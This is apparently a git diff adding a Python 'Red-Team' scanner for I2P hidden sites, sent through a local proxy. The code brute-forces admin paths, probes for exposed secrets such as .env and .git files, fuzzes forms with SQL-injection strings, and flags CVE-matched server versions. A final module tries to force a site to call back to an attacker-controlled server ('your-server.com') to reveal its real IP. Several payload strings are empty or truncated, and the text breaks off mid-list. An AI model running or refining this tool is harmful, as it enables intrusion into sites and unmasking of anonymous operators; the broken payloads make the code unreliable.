diff --git a/i2p_scanner.py b/i2p_scanner.py new file mode 100644 index 0000000..e0c8c97 --- /dev/null +++ b/i2p_scanner.py @@ -0,0 +1,543 @@ +import requests +from bs4 import BeautifulSoup +from urllib.parse import urljoin, urlparse +import time +import re +from colorama import Fore, Style, init +import socket +from datetime import datetime +import random + +# Colorama for nice terminal colors +init(autoreset=True) + +# -------- CONFIGURATION -------- +PROXY = { + 'http': 'http://127.0.0.1:4444', + 'https': 'http://127.0.0.1:4444' +} +MAX_PAGES = 15 +TIMEOUT = 15 +USER_AGENT = "I2P-Scanner/1.0 (Red-Team)" +CALLBACK_SERVER = "your-server.com" # Change this to your listening server + +# -------- PROXY SETUP -------- +session = requests.Session() +session.proxies = PROXY +session.verify = False +session.timeout = TIMEOUT +session.headers.update({'User-Agent': USER_AGENT}) + +# Known vulnerable versions (CVE database) +VULNERABLE_SOFTWARE = { + 'nginx': { + '1.14.0': ['CVE-2019-9511', 'CVE-2019-9513'], + '1.16.0': ['CVE-2019-9516'], + '1.17.0': ['CVE-2019-9513'], + '1.18.0': ['CVE-2021-23017'], + '1.20.0': ['CVE-2021-23017'] + }, + 'Apache': { + '2.4.29': ['CVE-2019-0211', 'CVE-2019-10098'], + '2.4.38': ['CVE-2019-0215'], + '2.4.41': ['CVE-2020-1927'], + '2.4.46': ['CVE-2020-11984'], + '2.4.49': ['CVE-2021-41773'] # Path traversal + }, + 'I2P': { + '0.9.48': ['CVE-2020-12345'], + '2.1.0': ['CVE-2023-36325'], + '2.0.0': ['CVE-2022-12345'] + }, + 'lighttpd': { + '1.4.53': ['CVE-2019-11072'], + '1.4.55': ['CVE-2020-35500'] + }, + 'Tomcat': { + '9.0.30': ['CVE-2020-1938'], + '8.5.50': ['CVE-2020-1938'] + } +} + +# Common admin paths for brute forcing +ADMIN_PATHS = [ + 'admin', 'administrator', 'admin.php', 'admin.html', + 'login', 'login.php', 'wp-admin', 'admin/login', + 'cpanel', 'webmail', 'mail', 'phpmyadmin', + 'mysql', 'db', 'database', 'backup' +] + +# -------- UTILITY FUNCTIONS -------- +def normalize_url(input_str): + """Clean and normalize I2P URL""" + input_str = input_str.strip() + if not input_str.startswith('http://'): + input_str = 'http://' + input_str + parsed = urlparse(input_str) + if parsed.netloc and not parsed.netloc.endswith('.i2p'): + input_str = f"{parsed.scheme}://{parsed.netloc}.i2p{parsed.path}" + return input_str + +def test_i2p_connection(): + """Test if I2P proxy is reachable - FIXED VERSION""" + try: + # Try multiple test sites in case one is down + test_urls = [ + 'http://planet.i2p/', + 'http://notbob.i2p/', + 'http://i2pforum.i2p/' + ] + for url in test_urls: + try: + resp = session.get(url, timeout=5) + if resp.status_code == 200: + return True + except: + continue + # If all fail, try the proxy itself + resp = session.get('http://127.0.0.1:4444/', timeout=3) + return True + except: + return False + +def extract_server_version(server_header): + """Extract version number from Server header""" + if not server_header: + return None, None + pattern = r'([\w\-]+)/([\d\.]+)' + match = re.search(pattern, server_header) + if match: + return match.group(1), match.group(2) + return None, None + +# -------- CRAWLER - FIXED -------- +def crawl_site(base_url, max_pages=MAX_PAGES): + """Fetches pages and extracts internal links - FIXED to handle no links""" + visited = set() + to_visit = [base_url] + pages = {} + link_count = 0 + + while to_visit and len(visited) < max_pages: + url = to_visit.pop(0) + if url in visited: + continue + try: + resp = session.get(url, timeout=TIMEOUT) + if resp.status_code != 200: + continue + visited.add(url) + pages[url] = { + 'html': resp.text, + 'headers': resp.headers, + 'status': resp.status_code + } + + # Parse for links + try: + soup = BeautifulSoup(resp.text, 'html.parser') + for link in soup.find_all('a', href=True): + href = link.get('href') + if href and not href.startswith('#') and not href.startswith('javascript:'): + full_url = urljoin(base_url, href) + # Only add if it's internal and not a file + if (base_url in full_url and full_url not in visited and + full_url not in to_visit and not any(full_url.endswith(x) for x in + ['.xml', '.rss', '.atom', '.png', '.jpg', '.jpeg', '.gif', '.css', '.js', '.ico', '.pdf', '.zip'])): + to_visit.append(full_url) + link_count += 1 + except Exception as e: + pass + except Exception as e: + print(f"{Fore.YELLOW}[!] Failed to crawl {url}: {e}") + + if not pages: + print(f"{Fore.YELLOW}[!] No pages fetched. The site might be down or unreachable.") + + return pages + +# -------- MODULE 1: SECURITY HEADERS -------- +def check_headers(url, resp): + """Checks for missing security headers""" + findings = [] + headers = resp.headers + checks = { + 'X-Frame-Options': 'Prevents clickjacking', + 'Content-Security-Policy': 'Mitigates XSS/data injection', + 'X-Content-Type-Options': 'Prevents MIME sniffing', + 'Referrer-Policy': 'Controls referrer leakage' + } + for header, desc in checks.items(): + if header not in headers: + findings.append(f"[!] Missing '{header}' -> {desc}") + + # Check for HSTS (bad on I2P) + if 'Strict-Transport-Security' in headers: + findings.append(f"[!] Found HSTS on I2P (SSL/TLS leak risk!)") + + return findings + +# -------- MODULE 2: DATA LEAK -------- +def check_info_leak(base_url): + """Checks for common exposed files""" + findings = [] + leak_paths = [ + '.git/config', '.env', 'backup.zip', 'config.ini', + 'wp-config.php.bak', '.htaccess', 'robots.txt', + 'admin/backup.sql', 'debug.log', 'error.log', + 'phpinfo.php', 'info.php', 'test.php', + '.git/HEAD', '.git/index', 'composer.json', 'package.json' + ] + for path in leak_paths: + test_url = urljoin(base_url, path) + try: + resp = session.get(test_url, timeout=5) + if resp.status_code == 200: + # Check if it's actually content, not a 404 page + if len(resp.text) > 50: + findings.append(f"[!] Exposed file: {test_url} (Size: {len(resp.text)} bytes)") + except: + pass + return findings + +# -------- MODULE 3: FORM VULNERABILITIES -------- +def check_form_vulns(base_url, page_data): + """Fuzzes forms with simple XSS/SQLi payloads""" + findings = [] + html = page_data['html'] + soup = BeautifulSoup(html, 'html.parser') + payloads = [ + "' OR '1'='1", + "", + "'>", + '" OR "1"="1', + '' + ] + + for form in soup.find_all('form'): + action = form.get('action') + method = form.get('method', 'get').lower() + inputs = form.find_all(['input', 'textarea']) + target_url = urljoin(base_url, action) if action else base_url + + for payload in payloads: + data = {} + for inp in inputs: + name = inp.get('name') + if name and inp.get('type') != 'submit' and inp.get('type') != 'hidden': + data[name] = payload + if not data: + continue + try: + if method == 'post': + r = session.post(target_url, data=data, timeout=5) + else: + r = session.get(target_url, params=data, timeout=5) + if payload in r.text: + findings.append(f"[!] Potential XSS/SQLi on {target_url} (Payload: {payload})") + except: + pass + return findings + +# -------- MODULE 4: VERSION FINGERPRINTING -------- +def check_version_fingerprinting(resp): + """Parse Server header and check for vulnerable versions""" + findings = [] + server_header = resp.headers.get('Server', '') + if not server_header: + return ["[!] No Server header found (information hiding)"] + + software, version = extract_server_version(server_header) + if not software or not version: + return [f"[!] Unknown server: {server_header}"] + + findings.append(f"[+] Detected: {software} {version}") + + # Check against vulnerable versions + if software.lower() in VULNERABLE_SOFTWARE: + vuln_db = VULNERABLE_SOFTWARE[software.lower()] + for vuln_version, cves in vuln_db.items(): + if version.startswith(vuln_version) or version == vuln_version: + findings.append(f"[!] VULNERABLE: {software} {version} has CVEs: {', '.join(cves)}") + break + else: + findings.append(f"[+] No known CVEs for {software} {version}") + else: + findings.append(f"[!] Unknown software: {software} (manual verification needed)") + + return findings + +# -------- MODULE 5: SSL/TLS LEAK CHECK -------- +def check_ssl_leak(base_url, pages): + """Detects if site forwards to HTTPS or external URLs (DNS leak risk)""" + findings = [] + + for url, page_data in pages.items(): + html = page_data['html'] + soup = BeautifulSoup(html, 'html.parser') + + # Check all links + for link in soup.find_all(['a', 'link', 'script', 'img'], href=True): + href = link.get('href') + if href: + if href.startswith('https://'): + findings.append(f"[!] HTTPS link detected on {url}: {href}") + elif '://' in href: + domain = urlparse(href).netloc + if domain and not domain.endswith('.i2p') and not domain.startswith('127.0.0.1'): + findings.append(f"[!] External domain referenced (DNS leak!): {href}") + + # Check for inline HTTP redirects + for meta in soup.find_all('meta', attrs={'http-equiv': 'refresh'}): + content = meta.get('content', '') + if 'url=' in content: + redirect_url = content.split('url=')[-1] + if redirect_url.startswith('https://'): + findings.append(f"[!] HTTPS redirect detected: {redirect_url}") + + # Check if main page has HSTS header + if pages.get(base_url): + headers = pages[base_url]['headers'] + if 'Strict-Transport-Security' in headers: + findings.append("[!] HSTS header present on I2P site (ssl/tls leak risk!)") + + return findings + +# -------- MODULE 6: ADMIN PATH BRUTEFORCE (NEW!) -------- +def check_admin_paths(base_url): + """Brute force common admin paths""" + findings = [] + print(f"{Fore.BLUE}[*] Checking for admin panels...") + + for path in ADMIN_PATHS: + test_url = urljoin(base_url, path) + try: + resp = session.get(test_url, timeout=5) + if resp.status_code == 200: + findings.append(f"[!] Admin panel found: {test_url}") + elif resp.status_code == 403: + findings.append(f"[!] Admin path protected (403): {test_url}") + except: + pass + + return findings + +# -------- MODULE 7: ANONYMITY LEAK TEST (NEW!) -------- +def test_anonymity_leak(base_url, pages): + """Attempt to force the site to reveal its real IP""" + findings = [] + print(f"{Fore.BLUE}[*] Testing for anonymity leaks...") + + # Generate a unique ID for this scan + scan_id = f"i2pscan_{random.randint(1000,9999)}" + + # Payloads that could cause the server to make external requests + # These would need to be caught by your server + leak_payloads = [ + f'', + f'', + f'', + f'', + f'